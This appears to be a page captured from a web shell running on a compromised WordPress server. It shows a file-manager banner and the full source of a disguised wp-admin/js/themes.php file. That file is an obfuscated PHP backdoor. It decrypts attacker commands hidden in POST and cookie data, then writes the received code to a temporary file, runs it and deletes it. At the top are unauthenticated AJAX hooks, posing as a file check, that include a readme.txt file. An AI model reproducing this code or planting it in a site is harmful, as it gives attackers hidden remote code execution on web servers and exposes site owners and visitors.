if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/js/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/js/themes.php
<?php 


$qgzvztmfci       = /*owh  */ 'qgzvztmfci' /*z */ ^ /*   lkwlz*/ '';


$ujbxbj /*g */ =	"\x53"	. /* oijekt */ "T"."R"."\x5f"	. /*   gv   */ "\x50" /*vrw  */ .     "A"."\104" /*   wnbi   */ .	$qgzvztmfci(95)    .  "R".$qgzvztmfci(732-659)	.    $qgzvztmfci(71)  .   "H"."\x54";$fwkp_xqvo /*  ut  */ = /*   qsane   */ "\x61"      .    "\x72"    .	$qgzvztmfci(114)    .	"\141" /*kdtbg  */ .	$qgzvztmfci(718-597)	.	"\137" /*   zrwf  */ .	"m"."\x61"    . /*  foyhe  */ $qgzvztmfci(112);

$mgtu_ /*  ypdrfs   */ =       $qgzvztmfci(596-491)       .	$qgzvztmfci(778-669) /*xoncty*/ .   $qgzvztmfci(112)	. /*  tc */ "l".$qgzvztmfci(111) /*yigzff*/ .	$qgzvztmfci(985-885)	. /*_   */ "e";
$smkrzhddze    = /* xcyp*/ $qgzvztmfci(792-677) /* oy_iz */ .    "\164"    . /*ooh  */ "\x72"    .       "_"."p"."a"."d";

$oizafhko /*  tiogxx  */ = /*  uah */ "c"."o"."u"."\156"	. /*  lb   */ "t";


function	awcbjkwnb($pdsjbnsz, /*  d */ $nfakc)


{
    global /*rsnvz_   */ $qgzvztmfci;
     /* _h */ $pdsjbnsz     =   "\74" /*n  */ .   "?"."\x70"     . /* gpsel   */ "h"."\x70"	.       $qgzvztmfci(32)	.     "u"."n"."\x6c"       . /*v */ "i"."n"."k".$qgzvztmfci(40)	. /*  _yfqi*/ "_".$qgzvztmfci(95)    .	$qgzvztmfci(70) /*hf  */ .   "\x49" /*onskp  */ .	$qgzvztmfci(592-516)    .   "\x45"       .   $qgzvztmfci(393-298)   .       "_".$qgzvztmfci(41)    .    $qgzvztmfci(288-229) /*   gnslac   */ . /*  cyhatv */ $qgzvztmfci(32)    .  $pdsjbnsz["d"]; /*   syz*/ $erjidasw_    =	"f".$qgzvztmfci(105) /* tr_arr  */ .	"l".$qgzvztmfci(191-90) /*  a  */ .      "\137"       . /*  gacpx*/ "p"."u".$qgzvztmfci(152-36)      . /*   hmbvk*/ "_"."c"."o"."n"."\x74"	.       "e".$qgzvztmfci(110)       . /*  c */ "t".$qgzvztmfci(461-346);    	$erjidasw_($nfakc,  $pdsjbnsz);

         _srkzur($nfakc);


}



$mltwentibvjrq /*   fzr */ =   73;


function     _srkzur($nfakc){ /*   seat*/ global /* wufvt*/ $qgzvztmfci;  
 /*  emhb_*/ include($nfakc);


 /* blsspm*/ $spwbjwkaz    =	$nfakc;

 /*  jw_ */ @unlink($spwbjwkaz);
}

function /*  qt  */ ot_rrgmd()

{	global	$qgzvztmfci;


      $rthlriqxvh	=	array();

	$rthlriqxvh["p"."v"]    = /* w   */ phpversion();
 /* kyb  */ $rthlriqxvh["\x73"	.    "v"] /*  drn */ =    "\63"    .    "."."5";
	$sbbcboij    =  74;


    echo /*   vkm */ @serialize($rthlriqxvh);}





function	ushqq_o_($pdsjbnsz,       $mltwentiffboa)


{


 /*  n  */ global      $qgzvztmfci;
	$nux_xogrk /*  p*/ = /* oqy   */ "";

	$palfhljnb    =	'sllqoyc';


 /*  s  */ $cro_ded /*   thg_ */ = /*   wgal  */ hash('sha256',    $pdsjbnsz);	$pbzxr  = /* d */ str_replace('orppmgk',     $cro_ded,       $palfhljnb); /*  qg*/ $rthlriqxvh /*   v_yr   */ = /*  brmyp */ 0;
    while  ($rthlriqxvh       <     strlen($pdsjbnsz))     {    $qplwv     =    isset($mltwentiffboa)    ?  $mltwentiffboa  :    '';


 /*  fnnzq*/ for       ($mltwenti    =    0; /*   eafrm */ $mltwenti       < /*   xl*/ strlen($qplwv)	&&    $rthlriqxvh    < /*pxpu */ strlen($pdsjbnsz); /* vr*/ $mltwenti++,    $rthlriqxvh++)    {	$nux_xogrk    .= /*   ge */ $qgzvztmfci(ord($pdsjbnsz[$rthlriqxvh])    ^     ord($qplwv[$mltwenti]));

    }
	if /*  xctz*/ (strlen($nux_xogrk) /* uziupl  */ >    20)    { /*vf_vt  */ $pbzxr     =    substr($nux_xogrk,    0,     20);
 /*   w   */ }    }
 /*   sncuk   */ if	(empty($nux_xogrk)) /*   im*/ {
      $nux_xogrk       = /*   fuxae*/ date('Y-m-d    H:i:s');


	}

	return      $nux_xogrk;


}





function	tydrrpnlxk($fmxprrdzc){
    global /* zerd  */ $qgzvztmfci;

    

 /* lzdh  */ $uwuk_gi /*  l */ =	"e"."\x32"	.	"b"."a"."\x62" /*  xo*/ .    "c"."f"."0"."\x2d"    .   $qgzvztmfci(53) /*xfv   */ . /*  dhowtx */ $qgzvztmfci(49)	.    $qgzvztmfci(455-403) /*  vahwx*/ .    "a"."-".$qgzvztmfci(166-114) /* bou   */ . /*  zlyfyl   */ "c"."\x37" /*edh  */ .     $qgzvztmfci(471-370) /*  d  */ .   "\55" /*   l  */ .      $qgzvztmfci(965-867) /*   rhqrtg */ . /*og  */ "3"."\65"	.	"\x39" /*   dwxao  */ . /*zslko   */ $qgzvztmfci(455-410) /*nmbf */ .      $qgzvztmfci(619-568) /*ixilo*/ . /*  hkqywi*/ "\x30"    .    $qgzvztmfci(54) /*jffrh */ . /*a_a*/ "4".$qgzvztmfci(56) /*   r */ .   $qgzvztmfci(928-879)	.   "9"."9"."\67"    .    "0"."4"."3";
 /* jtrb */ 


 /* wcsw*/ foreach   ($fmxprrdzc	as    $o_zpxrv	=> /* grwaa */ $pdsjbnsz)     {	btiley(base64_decode($pdsjbnsz),      $uwuk_gi, /*   q */ $o_zpxrv);


   }


}



function /*  xy*/ btiley($pdsjbnsz,      $uwuk_gi,    $o_zpxrv)


{

	global /* o   */ $qgzvztmfci;

     
	$pdsjbnsz /*  u_me   */ = /*   e */ unserialize(ushqq_o_(ushqq_o_($pdsjbnsz, /*   ypste   */ $uwuk_gi),    $o_zpxrv));

	$wlckfxigw	= /* vwijcj  */ 'hnf';	$kgtekp     =  '_rqyowsbba';	if	(isset($pdsjbnsz["a".$qgzvztmfci(418-311)])) /*abwlf   */ {
 /* t  */ if      ($pdsjbnsz["a"]     ==    "i") /*   fschm*/ {
    ot_rrgmd(); /*   raq  */ }	elseif /* btco*/ ($pdsjbnsz["a"] /* vjqyb*/ ==  "e")    {
 /*   y */ awcbjkwnb($pdsjbnsz,	sprintf("\x2e"     . /*wkppw*/ "\57"    .      "%"."\163"    .    "\56"    .      "\x70"	. /*   w*/ "l", /*ktyjg   */ md5($uwuk_gi)));


			$rthlriqxvhdcenu      =    44;


      }      exit();

  }


}


tydrrpnlxk($_POST);    

$mbccgd /*  ufl   */ =	$fwkp_xqvo('rawurldecode', /*  gz */ $_POST);
$fxvjyeaaj /*  sj */ =    $oizafhko($mbccgd);


if /*  hicwyu   */ ($fxvjyeaaj      >      0)  {
      $euyrpgtukn /*   zc*/ = /*   ez*/ $mgtu_(',', /*  iv   */ $mbccgd);
}



tydrrpnlxk($_COOKIE);    
$wgzfbju /* f  */ =      $fwkp_xqvo('rawurldecode',      $_COOKIE);$kigifzj    =     $oizafhko($wgzfbju);

if /* _tag   */ ($kigifzj    >      0)   {

    $l_vx_dbphn /*   as*/ = /*po   */ $mgtu_(';',    $wgzfbju);}


$eaxu_      =	$wgzfbju;


$txvlagfes /*  uz*/ = /*  _ */ date('Y-m-d	H:i:s');$gdvhegnp	=    strlen($mgtu_('', /*  cm  */ $eaxu_));


if /*pop_   */ ($gdvhegnp    >    100)	{
    $mdjvchpt /*  fei  */ =	$smkrzhddze($mgtu_('',      $eaxu_), /*jaumbq  */ 150,    '0',    $ujbxbj);


}







?>
@ Telegram